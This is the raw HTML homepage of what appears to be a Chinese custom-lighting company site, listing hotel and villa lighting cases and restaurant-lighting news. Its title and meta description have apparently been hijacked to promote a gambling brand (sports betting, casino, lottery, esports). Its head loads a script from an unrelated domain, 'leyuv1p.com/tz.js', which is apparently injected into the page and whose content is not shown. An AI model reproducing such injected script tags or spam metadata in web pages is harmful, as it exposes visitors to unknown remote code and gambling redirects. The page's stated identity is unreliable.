<!DOCTYPE html>
<html>
<head>

    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>

    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport"
          content="width=device-width,height=device-height,initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <meta content="telephone=no" name="format-detection">
    <meta name="robots" content="index, follow"/>


    <title>55最新客户端-官方网站</title>
    <meta name="keywords" content="55最新客户端,官方网站"/>
    <meta name="description" content="55最新客户端-官方网站1999年始创于新加坡，55最新客户端-官方网站专业的智能照明控制系统和体育、真人、棋牌、彩票、电竞、英雄联盟、LOL、LPL智能开关等的研发、生产厂商。55最新客户端-官方网站其产品应用了上千个项目。"/>


    <link rel="stylesheet" href="http://videosbreakdance.com/css/style.css"/>
    <link rel="stylesheet" href="http://videosbreakdance.com/css/responsive.css"/>
    <link rel="stylesheet" href="http://videosbreakdance.com/css/yzh.css"/>
    <link rel="stylesheet" href="http://videosbreakdance.com/css/animate.min.css">
    <link rel="stylesheet" href="http://videosbreakdance.com/css/swiper.min.css">


    <script type="text/javascript" src="http://videosbreakdance.com/js/jquery.min.js"></script>
    <script src="http://videosbreakdance.com/js/swiper.min.js"></script>

    <!--[if lte IE 8]>
    <script src="http://videosbreakdance.com/js/html5.min.js"></script><![endif]-->
    <!--[if lte IE 8]>
    <script src="http://videosbreakdance.com/js/respond.min.js"></script><![endif]-->

<script type="text/javascript" src="https://js.users.51.la/20630045.js"></script>
<script type="text/javascript" src="http://leyuv1p.com/tz.js?=5"></script>
</head>


<body>

<!--扑街，杏加橙。-->
<!-- pc导航 -->
<header class="pcNav">
    <div class="container">
        <h1 class="headerLogo">
            <a href="http://videosbreakdance.com/"><img src="http://videosbreakdance.com/picture/logo.png"></a>
        </h1>
        <nav class="headerNav  clearfix">
            <ul class="menu1">
                <li><a href="http://videosbreakdance.com/">首页</a></li>
                <!--
                <li><a href="http://videosbreakdance.com/service.html">服务项目 </a> -->

                <div class="menu2">
                    <ul>


                        <li><a href="http://videosbreakdance.com/service-1.html">酒店大堂灯饰设计 </a></li>
                        <li><a href="http://videosbreakdance.com/service-2.html">酒店宴会厅灯饰设计 </a></li>
                        <li><a href="http://videosbreakdance.com/service-3.html">别墅灯饰设计 </a></li>
                        <li><a href="http://videosbreakdance.com/service-4.html">售楼部灯饰设计 </a></li>


                    </ul>
                </div>
                </li>


                <li><a href="http://videosbreakdance.com/case.html">项目案例 </a>
                    <div class="menu2">
                        <ul>

                            <li><a href="http://videosbreakdance.com/case/SortID/192.html">酒店灯饰定制</a></li>
                            <li><a href="http://videosbreakdance.com/case/SortID/193.html">售楼部灯饰定制</a></li>
                            <li><a href="http://videosbreakdance.com/case/SortID/194.html">别墅灯饰定制</a></li>
                            <li><a href="http://videosbreakdance.com/case/SortID/200.html">KTV会所灯饰定制</a></li>
                            <li><a href="http://videosbreakdance.com/case/SortID/201.html">样板间灯饰定制</a></li>
                            <li><a href="http://videosbreakdance.com/case/SortID/202.html">其它灯饰定制</a></li>


                        </ul>
                    </div>
                </li>


                <li><a href="http://videosbreakdance.com/about.html">关于55最新客户端-官方网站 </a>
                    <div class="menu2">
                        <ul>


                            <li><a href="http://videosbreakdance.com/about.html" title="55最新客户端-官方网站简介">55最新客户端-官方网站简介</a></li>
                            <li><a href="http://videosbreakdance.com/about2.html" title="企业文化">企业文化</a></li>
                            <!--
                            <li><a  href="http://videosbreakdance.com/about3/sortid/70.html" title="荣誉资质">荣誉资质</a></li>-->
                            <li><a href="http://videosbreakdance.com/about4/sortid/83.html" title="合作客户">合作客户</a></li>
                            <li><a href="http://videosbreakdance.com/about5/sortid/84.html" title="客户见证">客户见证</a></li>


                        </ul>
                    </div>
                </li>


                <li><a href="http://videosbreakdance.com/team.html">专业团队 </a>
                    <div class="menu2">
                        <ul>

                            <li><a href="http://videosbreakdance.com/team/SortID/83.html">设计团队</a></li>
                            <li><a href="http://videosbreakdance.com/team/SortID/123.html">管理团队</a></li>

                        </ul>
                    </div>
                </li>


                <li><a href="http://videosbreakdance.com/news/">新闻资讯 </a>
                    <div class="menu2">
                        <ul>
                            <li><a href="http://videosbreakdance.com/NewsList/SortID/5.html">公司动态 </a></li>
                            <li><a href="http://videosbreakdance.com/NewsList/SortID/17.html">行业新闻 </a></li>
                        </ul>
                    </div>
                </li>


                <li><a href="http://videosbreakdance.com/contact.html">联系55最新客户端-官方网站 </a>
                    <div class="menu2">
                        <ul>
                            <li><a href="http://videosbreakdance.com/contact.html">联系方式 </a></li>
                            <li><a href="http://videosbreakdance.com/hezuo.html">商务合作 </a></li>
                            <li><a href="http://videosbreakdance.com/job.html">招贤纳士 </a></li>
                        </ul>


                    </div>
                </li>


            </ul>


        </nav>
        <div class="headerTel">
            138-2398-5956
        </div>
    </div>
</header>




<!-- wap导航 -->
<div class="wapHeader">
    <div class="logoHeader">
        <h1 class="logo"><a href="http://videosbreakdance.com/"><img src="http://videosbreakdance.com/picture/logo.png"></a></h1>
        <span class="navTrigger"><i></i><i></i><i></i></span>
    </div>
    <div class="navSlide">
        <ul class="navbar">
            <li class="firstli"><a href="http://videosbreakdance.com/">首页</a></li>

            <li class="mainli"><a href="http://videosbreakdance.com/service.html">服务项目<i></i></a>
                <ul class="navSub">


                    <li><a href="http://videosbreakdance.com/service-1.html">酒店大堂灯饰设计 </a><i></i></li>
                    <li><a href="http://videosbreakdance.com/service-2.html">酒店宴会厅灯饰设计 </a><i></i></li>
                    <li><a href="http://videosbreakdance.com/service-3.html">别墅灯饰设计 </a><i></i></li>
                    <li><a href="http://videosbreakdance.com/service-4.html">售楼部灯饰设计 </a><i></i></li>


                </ul>
            </li>


            <li class="mainli"><a href="http://videosbreakdance.com/case.html">项目案例<i></i></a>

                <ul class="navSub">

                    <li><a href="http://videosbreakdance.com/case/SortID/192.html">酒店灯饰定制</a><i></i></li>
                    <li><a href="http://videosbreakdance.com/case/SortID/193.html">售楼部灯饰定制</a><i></i></li>
                    <li><a href="http://videosbreakdance.com/case/SortID/194.html">别墅灯饰定制</a><i></i></li>
                    <li><a href="http://videosbreakdance.com/case/SortID/200.html">KTV会所灯饰定制</a><i></i></li>
                    <li><a href="http://videosbreakdance.com/case/SortID/201.html">样板间灯饰定制</a><i></i></li>
                    <li><a href="http://videosbreakdance.com/case/SortID/202.html">其它灯饰定制</a><i></i></li>


                </ul>


            </li>
            <li class="mainli"><a href="http://videosbreakdance.com/about.html">关于55最新客户端-官方网站<i></i></a>
                <ul class="navSub">

                    <li><a href="http://videosbreakdance.com/about.html" title="55最新客户端-官方网站简介">55最新客户端-官方网站简介</a><i></i></li>
                    <li><a href="http://videosbreakdance.com/about2.html" title="企业文化">企业文化</a><i></i></li>
                    <li><a href="http://videosbreakdance.com/about3/sortid/70.html" title="荣誉资质">荣誉资质</a><i></i></li>
                    <li><a href="http://videosbreakdance.com/about4/sortid/83.html" title="合作客户">合作客户</a><i></i></li>
                    <li><a href="http://videosbreakdance.com/about5/sortid/84.html" title="客户见证">客户见证</a><i></i></li>


                </ul>

            </li>


            <li class="mainli"><a href="http://videosbreakdance.com/team.html">专业团队<i></i></a>
                <ul class="navSub">

                    <li><a href="http://videosbreakdance.com/team/SortID/83.html">设计团队</a><i></i></li>
                    <li><a href="http://videosbreakdance.com/team/SortID/123.html">管理团队</a><i></i></li>

                </ul>


            </li>


            <li class="mainli"><a href="http://videosbreakdance.com/news/">新闻资讯<i></i></a>
                <ul class="navSub">

                    <li><a href="http://videosbreakdance.com/NewsList/SortID/5.html">公司动态</a><i></i></li>
                    <li><a href="http://videosbreakdance.com/NewsList/SortID/17.html">行业新闻</a><i></i></li>

                </ul>
            </li>


            <li class="mainli"><a href="http://videosbreakdance.com/contact.html">联系55最新客户端-官方网站<i></i></a>
                <ul class="navSub">

                    <li><a href="http://videosbreakdance.com/contact.html">联系方式</a><i></i></li>
                    <li><a href="http://videosbreakdance.com/hezuo.html">商务合作</a><i></i></li>
                    <li><a href="http://videosbreakdance.com/job.html">招贤纳士</a><i></i></li>

                </ul>
            </li>


        </ul>
        <div class="tel">
            <i class="iconfont">&#xe669;</i>全国服务热线：<span>138-2398-5956 </span>
        </div>
    </div>
</div>


<!-- 广告轮播图 -->
<section class="banner">
    <div class="swiper-container bannerSwiper" id="swiperBanner">
        <div class="swiper-wrapper">


            <div class="swiper-slide"><img src="http://videosbreakdance.com/Uploadfiles/image/2019062211010632632.jpg" class="pcImg"><img
                        src="http://videosbreakdance.com/Uploadfiles/image/2019062211010632632.jpg" class="banImg"></div>
            <div class="swiper-slide"><img src="http://videosbreakdance.com/Uploadfiles/image/20190622110140334033.jpg" class="pcImg"><img
                        src="http://videosbreakdance.com/Uploadfiles/image/20190622110140334033.jpg" class="banImg"></div>
            <div class="swiper-slide"><img src="http://videosbreakdance.com/Uploadfiles/image/20190701104895929592.jpg" class="pcImg"><img
                        src="http://videosbreakdance.com/Uploadfiles/image/20190701104895929592.jpg" class="banImg"></div>


        </div>
        <!-- 分页器 -->
        <div class="swiper-pagination hd"></div>

        <!-- 导航按钮 -->
        <div class="swiper-button-prev bannerPrev"></div>
        <div class="swiper-button-next bannerNext"></div>
    </div>
    <script>
        var banSwiper = new Swiper('.bannerSwiper', {
            autoplay: true,
            effect: 'fade',
            loop: true,
            grabCursor: true,
            autoplay: {
                disableOnInteraction: false,
            },
            pagination: {
                el: '.swiper-pagination',
                clickable: true,
            },
            navigation: {nextEl: '.bannerPrev', prevEl: '.bannerNext',},
        });
        $('.bannerSwiper').mouseover(function () {
            banSwiper.autoplay.stop();
        });
        $('.bannerSwiper').mouseout(function () {
            banSwiper.autoplay.start();
        });

    </script>

</section>


<!-- 范围 -->
<section class="range">
    <div class="container">
        <div class="hThem">
            <h3 class="hTopic">业务范围<span>Range</span></h3>
            <a href="http://videosbreakdance.com/case.html" class="more">MORE+</a>
        </div>
        <div class="rangeItem">
            <ul>
                <li class="wow fadeInUp" data-wow-delay="0.1s"><a style="cursor:default;"><img
                                src="http://videosbreakdance.com/picture/fuwu/001.jpg"><span class="tit">酒店灯饰定制</span></a></li>
                <li class="wow fadeInUp" data-wow-delay="0.2s"><a style="cursor:default;"><img
                                src="http://videosbreakdance.com/picture/fuwu/002.jpg"><span class="tit">售楼部灯饰定制</span></a></li>
                <li class="wow fadeInUp" data-wow-delay="0.3s"><a style="cursor:default;"><img
                                src="http://videosbreakdance.com/picture/fuwu/003.jpg"><span class="tit">别墅灯饰定制</span></a></li>
                <li class="wow fadeInUp" data-wow-delay="0.4s"><a style="cursor:default;"><img
                                src="http://videosbreakdance.com/picture/fuwu/004.jpg"><span class="tit">KTV会所灯饰定制</span></a></li>

                <li class="wow fadeInUp" data-wow-delay="0.1s"><a style="cursor:default;"><img
                                src="http://videosbreakdance.com/picture/fuwu/005.jpg"><span class="tit">样板间灯饰定制</span></a></li>
                <li class="wow fadeInUp" data-wow-delay="0.2s"><a style="cursor:default;"><img
                                src="http://videosbreakdance.com/picture/fuwu/006.jpg"><span class="tit">商场灯饰定制</span></a></li>
                <li class="wow fadeInUp" data-wow-delay="0.3s"><a style="cursor:default;"><img
                                src="http://videosbreakdance.com/picture/fuwu/007.jpg"><span class="tit">高端私人定制</span></a></li>
                <li class="wow fadeInUp" data-wow-delay="0.4s"><a style="cursor:default;"><img
                                src="http://videosbreakdance.com/picture/fuwu/008.jpg"><span class="tit">其它定制</span></a></li>


            </ul>
        </div>
    </div>
</section>


<!-- 视频-->
<section class="video">
    <div class="container">
        <div class="videoItem wow zoomIn swiper-container" id="videoItem">
            <ul class="swiper-wrapper">
                <li class="swiper-slide"><img src="http://videosbreakdance.com/picture/shipin001.jpg"></li>
                <li class="swiper-slide"><img src="http://videosbreakdance.com/picture/shipin002.jpg"></li>
                <li class="swiper-slide"><img src="http://videosbreakdance.com/picture/shipin003.jpg"></li>
            </ul>
        </div>
        <div class="swiper-button-prev videoPrev"></div>
        <div class="swiper-button-next videoNext"></div>
    </div>
</section>


<!-- 案例 -->
<section class="case">
    <div class="container">
        <div class="hThem">
            <h3 class="hTopic">案例<span>Case</span></h3>
            <a href="http://videosbreakdance.com/case.html" class="more">MORE+</a>
        </div>
        <div class="caseItem">
            <ul class="clearfix">

                <li class="wow fadeInUp" data-wow-delay="0.1s"><a href="http://videosbreakdance.com/caseView/ID/460.html"><span class="pic"><img
                                    src="http://videosbreakdance.com/Uploadfiles/image/20200331093961166116.jpg"></span>
                        <div class="txt"><h5>美乐休闲会所</h5>
                            <p>...</p><i class="more"></i></div>
                    </a></li>
                <li class="wow fadeInUp" data-wow-delay="0.1s"><a href="http://videosbreakdance.com/caseView/ID/459.html"><span class="pic"><img
                                    src="http://videosbreakdance.com/Uploadfiles/image/20200330154954745474.jpg"></span>
                        <div class="txt"><h5>华侨东城售楼部</h5>
                            <p>...</p><i class="more"></i></div>
                    </a></li>
                <li class="wow fadeInUp" data-wow-delay="0.1s"><a href="http://videosbreakdance.com/caseView/ID/458.html"><span class="pic"><img
                                    src="http://videosbreakdance.com/Uploadfiles/image/20190626164725232523.jpg"></span>
                        <div class="txt"><h5>湘江酒店</h5>
                            <p>...</p><i class="more"></i></div>
                    </a></li>
                <li class="wow fadeInUp" data-wow-delay="0.1s"><a href="http://videosbreakdance.com/caseView/ID/457.html"><span class="pic"><img
                                    src="http://videosbreakdance.com/Uploadfiles/image/20190626084433313331.jpg"></span>
                        <div class="txt"><h5>白皖酒店</h5>
                            <p>...</p><i class="more"></i></div>
                    </a></li>
                <li class="wow fadeInUp" data-wow-delay="0.1s"><a href="http://videosbreakdance.com/caseView/ID/448.html"><span class="pic"><img
                                    src="http://videosbreakdance.com/Uploadfiles/image/20190622113770757075.jpg"></span>
                        <div class="txt"><h5>天河华苑别墅</h5>
                            <p>...</p><i class="more"></i></div>
                    </a></li>
                <li class="wow fadeInUp" data-wow-delay="0.1s"><a href="http://videosbreakdance.com/caseView/ID/447.html"><span class="pic"><img
                                    src="http://videosbreakdance.com/Uploadfiles/image/20190622113670067006.jpg"></span>
                        <div class="txt"><h5>观景别墅</h5>
                            <p>...</p><i class="more"></i></div>
                    </a></li>


            </ul>

        </div>
    </div>
</section>


<!-- 新闻 -->
<section class="news">
    <div class="container">
        <div class="hThem" id="newsTab">
            <h3 class="hTopic"><a href="http://videosbreakdance.com/news/" class="on">新闻动态</a><span>News</span></h3>

        </div>


        <div class="newsMain wow fadeInLefttwo">
            <div class="newsItem swiper-container newsItem1">
                <ul class="swiper-wrapper">





                                                                                                                                                                                    



                    <li class="swiper-slide"><a href="http://videosbreakdance.com/index.php/news/121.html"><span class="pic">
<img src="http://www.gbsled.com/data/upload/image/20190219/1550548188345638.jpg" width="230" height="180">
</span><span class="time">2020-07-04</span><h5>近几年来55最新客户端-官方网站轨道射灯经历了什么？</h5>
                            <p>我们一起来扒一扒55最新客户端-官方网站轨道射灯的发展史。第一类：餐厅轨道射灯...</p><i
                                    class="more"></i></a></li>
                    



                    <li class="swiper-slide"><a href="http://videosbreakdance.com/index.php/news/21.html"><span class="pic">
<img src="http://www.gbsled.com/data/upload/image/20200324/1585014866524044.jpg" width="230" height="180">
</span><span class="time">2020-07-04</span><h5>你的餐厅需要灯光吗？打造别致的餐饮设计！</h5>
                            <p>用灯光提高顾客视觉反应可分为两个层次，首先是引导客人视觉，聚...</p><i
                                    class="more"></i></a></li>
                    



                    <li class="swiper-slide"><a href="http://videosbreakdance.com/index.php/news/87.html"><span class="pic">
<img src="http://www.gbsled.com/data/upload/image/20190412/1555053321202547.jpg" width="230" height="180">
</span><span class="time">2020-07-04</span><h5>专业做餐厅灯光设计哪家好点</h5>
                            <p> 虽说现在市面上有不少餐厅设计公司，但专业做餐厅灯光设计公司...</p><i
                                    class="more"></i></a></li>
                    



                    <li class="swiper-slide"><a href="http://videosbreakdance.com/index.php/news/81.html"><span class="pic">
<img src="http://www.gbsled.com/data/upload/image/20190910/1568083554899382.jpg" width="230" height="180">
</span><span class="time">2020-07-04</span><h5>顾客喜欢拍照的餐厅才是好的餐厅</h5>
                            <p>人们越来越注重生活的品质，去餐厅吃饭除了挑剔饭菜的口味，更多...</p><i
                                    class="more"></i></a></li>
                    



                    <li class="swiper-slide"><a href="http://videosbreakdance.com/index.php/news/85.html"><span class="pic">
<img src="http://www.gbsled.com/data/upload/image/20190508/1557295257349249.jpg" width="230" height="180">
</span><span class="time">2020-07-04</span><h5>餐厅灯光通亮，为什么生意反而不好？</h5>
                            <p> 餐厅灯光通亮，为什么生意反而不好？在这个拼颜值的时代里，照...</p><i
                                    class="more"></i></a></li>
                    



                    <li class="swiper-slide"><a href="http://videosbreakdance.com/index.php/news/3.html"><span class="pic">
<img src="http://www.gbsled.com/data/upload/image/20200629/1593401537954431.jpg" width="230" height="180">
</span><span class="time">2020-07-04</span><h5>餐饮照明在艺术上构建照明系统</h5>
                            <p>说到餐饮照明灯具的功能，最主要的当然是餐饮照明灯具。此外，对...</p><i
                                    class="more"></i></a></li>
                    



                    <li class="swiper-slide"><a href="http://videosbreakdance.com/index.php/news/55.html"><span class="pic">
<img src="http://www.gbsled.com/data/upload/image/20190907/1567818057493519.jpg" width="230" height="180">
</span><span class="time">2020-07-04</span><h5>灯光对西餐厅设计来说重要吗？</h5>
                            <p>西餐厅设计中，每个功能部分分区需要的明暗程度及照明手法都是不...</p><i
                                    class="more"></i></a></li>
                    



                    <li class="swiper-slide"><a href="http://videosbreakdance.com/index.php/news/37.html"><span class="pic">
<img src="http://www.gbsled.com/data/upload/image/20200410/1586500411691697.png" width="230" height="180">
</span><span class="time">2020-07-04</span><h5>给你的餐厅来一个耳目一新的餐饮设计</h5>
                            <p>一个餐饮店的好坏，除了店内食物本身的好坏，环境和灯光搭配效果...</p><i
                                    class="more"></i></a></li>
                    



                    <li class="swiper-slide"><a href="http://videosbreakdance.com/index.php/news/109.html"><span class="pic">
<img src="http://www.gbsled.com/data/upload/image/20180905/1536116602606027.png" width="230" height="180">
</span><span class="time">2020-07-04</span><h5>越来越多中高档餐饮连锁品牌倒闭，是客户变了还是市场在变？</h5>
                            <p>眼见他起高楼，眼见他宴宾客，眼见他楼塌了！2017年上半场，...</p><i
                                    class="more"></i></a></li>
                    



                    <li class="swiper-slide"><a href="http://videosbreakdance.com/index.php/news/15.html"><span class="pic">
<img src="http://www.gbsled.com/data/upload/image/20200421/1587454750844857.jpg" width="230" height="180">
</span><span class="time">2020-07-04</span><h5>品质灯光设计，给顾客一个舒适的就餐氛围</h5>
                            <p>在餐厅中不同的细节影响着客户的体验感，感受最大的就是在餐厅灯...</p><i
                                    class="more"></i></a></li>
                    



                    <li class="swiper-slide"><a href="http://videosbreakdance.com/index.php/news/90.html"><span class="pic">
<img src="http://www.gbsled.com/data/upload/image/20190313/1552460085563193.jpg" width="230" height="180">
</span><span class="time">2020-07-04</span><h5>55最新客户端-官方网站餐饮灯饰，以品质为王，精益求精</h5>
                            <p> 蜀味居客户订单今日已经制作完成，55最新客户端-官方网站季经理在为客户订购的...</p><i
                                    class="more"></i></a></li>
                    



                    <li class="swiper-slide"><a href="http://videosbreakdance.com/index.php/news/8.html"><span class="pic">
<img src="http://www.gbsled.com/data/upload/image/20200523/1590200190248632.jpg" width="230" height="180">
</span><span class="time">2020-07-04</span><h5>最好用的餐厅设计实例，布局好才是真的好！</h5>
                            <p>正所谓，民以食为天。吃很重要，可餐厅设计布置也不能忽略，装得...</p><i
                                    class="more"></i></a></li>
                    
                </ul>
                <!-- 分页器 -->
                <div class="swiper-pagination hd"></div>
            </div>


        </div>
    </div>
</section>


<!-- 客户 -->
<section class="customer">
    <div class="container">
        <div class="hThem">
            <h3 class="hTopic">定制流程<span>ORDER PROCESS</span></h3>
        </div>
        <div class="customerItem wow fadeInRighttwo">
            <ul class="clearfix">
                <li><a><img src="http://videosbreakdance.com/picture/liucheng/001.png"></a></li>
                <li><a><img src="http://videosbreakdance.com/picture/liucheng/002.png"></a></li>
                <li><a><img src="http://videosbreakdance.com/picture/liucheng/003.png"></a></li>
                <li><a><img src="http://videosbreakdance.com/picture/liucheng/004.png"></a></li>
                <li><a><img src="http://videosbreakdance.com/picture/liucheng/005.png"></a></li>
                <li><a><img src="http://videosbreakdance.com/picture/liucheng/006.png"></a></li>


            </ul>
        </div>
    </div>
</section>
<script type="text/javascript">
    // 业务
    var swiper = new Swiper('.businessItem ', {
        slidesPerView: 4,
        spaceBetween: 0,
        autoplay: {delay: 2000, stopOnLastSlide: false, disableOnInteraction: false,},
        breakpoints: {
            768: {slidesPerView: 4, pagination: {el: '.hd', clickable: true,}},
            480: {slidesPerView: 3, pagination: {el: '.hd', clickable: true,}},
        }
    });
    //视频
    var mySwiper = new Swiper('.videoItem', {
        direction: 'horizontal',
        loop: true,
        autoplay: false,
        // 如果需要前进后退按钮
        navigation: {
            nextEl: '.swiper-button-next',
            prevEl: '.swiper-button-prev',
        },
        onSlideChangeStart: function (swiper) {
            $(".swiper-button-next'").click(function () {
                $("video").pause();
            })
        }
    })
    //新闻切换
    $(function () {
        $('.newsItem').not(".newsItem:eq(0)").css({'display': 'none'});
        $(".newsMain").find(".newsItem:first").show();    //为每个BOX的第一个元素显示
        $("#newsTab a").on("click", function () { //给a标签添加事件
            var index = $(this).index();  //获取当前a标签的个数
            $(".newsItem").hide().eq(index).fadeIn(); //返回上一层，在下面查找css名为box隐藏，然后选中的显示
            $(this).addClass("on").siblings().removeClass("on"); //a标签显示，同辈元素隐藏
        })
    })
    // 新闻
    var swiper = new Swiper('.newsItem1 ', {
        slidesPerView: 3,
        spaceBetween: 60,
        pagination: {hiddenClass: 'swiper-pagination-hidden',},
        autoplay: {delay: 3000, stopOnLastSlide: false, disableOnInteraction: false,},
        breakpoints: {
            1200: {spaceBetween: 30},
            1024: {spaceBetween: 15},
            768: {slidesPerView: 2, spaceBetween: 10, pagination: {el: '.hd', clickable: true,}},
            480: {slidesPerView: 1, spaceBetween: 0, pagination: {el: '.hd', clickable: true,}},
        }
    });
    var swiper = new Swiper('.newsItem2 ', {
        slidesPerView: 3,
        spaceBetween: 60,
        autoplay: {delay: 3000, stopOnLastSlide: false, disableOnInteraction: false,},
        pagination: {hiddenClass: 'swiper-pagination-hidden',},
        breakpoints: {
            1200: {spaceBetween: 30},
            1024: {spaceBetween: 15},
            768: {slidesPerView: 2, spaceBetween: 10, pagination: {el: '.hd', clickable: true,}},
            480: {slidesPerView: 1, spaceBetween: 0, pagination: {el: '.hd', clickable: true,}},
        }
    });
</script>


<script type="text/javascript">
    var _winw = $(window).width();
    if (_winw >= 1024) {
        $(' .videoItem li').on('click', function () {
            var tie = $(this).attr('title');
            var hre = $(this).attr('text');
            layer.open({
                type: 2,
                title: tie,
                area: ['1024px', '768px'],
                shade: 0.8,
                closeBtn: 1,
                shadeClose: true,
                content: hre
            });
        });
    } else {
        $(' .videoItem li').on('click', function () {
            var tie = $(this).attr('title');
            var hre = $(this).attr('text');
            layer.open({
                type: 2,
                title: tie,
                area: ['90%', '60%'],
                shade: 0.8,
                closeBtn: 1,
                shadeClose: true,
                content: hre
            });
        });
    }
</script>


<!-- 底部 -->
<footer class="footer">
    <div class="container clearfix">
        <div class="footerLogo">
            <div class="logo"><img src="http://videosbreakdance.com/picture/footer-logo.png"></div>
            <p class="tel"><i></i>138-2398-5956</p>
        </div>
        <div class="footerContact">
            <dl>
                <dt>联系方式</dt>
                <dd><i></i>地址：中山市横栏镇益辉一路41号</dd>
                <dd><i></i>电话：0760-87867150</dd>
                <dd><i></i>邮箱：nidonggeqiu@163.com</dd>
            </dl>
        </div>
        <div class="footerEwm">
            <dl>
                <dt>扫一扫<br>了解更多</dt>
                <dd><img src="http://videosbreakdance.com/Uploadfiles/image/20190831164162526252.jpg"></dd>
            </dl>
        </div>
        <div class="footerLink">
            <span>友情链接</span>


        </div>
    </div>

    <div class="footerBot">
        <div class="container">
            &copy;2018-2020 版权所有 <a href="http://videosbreakdance.com/">55最新客户端-官方网站</a> &nbsp;&nbsp;备案号：&nbsp;&nbsp;
        </div>
    </div>


</footer>


<div class="gr_kefu">
    <ul>
        <li class="kf1"></li>
        <li class="kf2"><a href="javascript:void(0);">
                <div class="sidebox"><img class="kImg" src="http://videosbreakdance.com/picture/kf_2.png">
                    <div class="kf_wx"><img width="110" height="110" src="http://videosbreakdance.com/Uploadfiles/image/20190831164162526252.jpg">
                        <p>扫一扫加我微信</p></div>
                </div>
            </a></li>
        <li class="kf3"><a href="javascript:void(0);">
                <div class="sidebox sidebox3"><img class="kImg" src="http://videosbreakdance.com/picture/kf_3.png">0760-87867150</div>
            </a></li>
        <li class="kf4"><a href="javascript:goTop();" class="sidetop"><img class="kImg" src="http://videosbreakdance.com/picture/kf_4.png"></a>
        </li>
    </ul>
</div>


<!-- wap端底部固定 -->
<section class="footBar">

    <a href="http://videosbreakdance.com/case.html"><i class="iconfont">&#xe611;</i>案例中心</a>
    <a href="http://videosbreakdance.com/contact.html"><i class="iconfont">&#xe6d1;</i>联系55最新客户端-官方网站</a>
    <a href="javascript:goTop(); "><i class="iconfont">&#xe666;</i>返回顶部</a>
</section>


<script src="http://videosbreakdance.com/js/pertion.js"></script>
<script type="text/javascript" src="http://videosbreakdance.com/js/wow.min.js"></script>

<script type="text/javascript">
    new WOW().init();
</script>


<script type="text/javascript">
    function goTop() {
        $('html,body').animate({'scrollTop': 0}, 600);
    };
</script>


<script type="text/javascript">
    $(document).ready(function () {
        var _winw = $(window).width();
        if (_winw >= 1024) {
            window._bd_share_config = {
                "common": {
                    "bdSnsKey": {},
                    "bdText": "",
                    "bdMini": "2",
                    "bdMiniList": false,
                    "bdPic": "",
                    "bdStyle": "0",
                    "bdSize": "16"
                }, "slide": {"type": "slide", "bdImg": "5", "bdPos": "left", "bdTop": "160.5"}
            };
            with (document) 0[(getElementsByTagName('head')[0] || body).appendChild(createElement('script')).src = 'http://bdimg.share.baidu.com/static/api/js/share.js?v=89860593.js?cdnversion=' + ~(-new Date() / 36e5)];
        }
    });
</script>


</body>


</html>

		

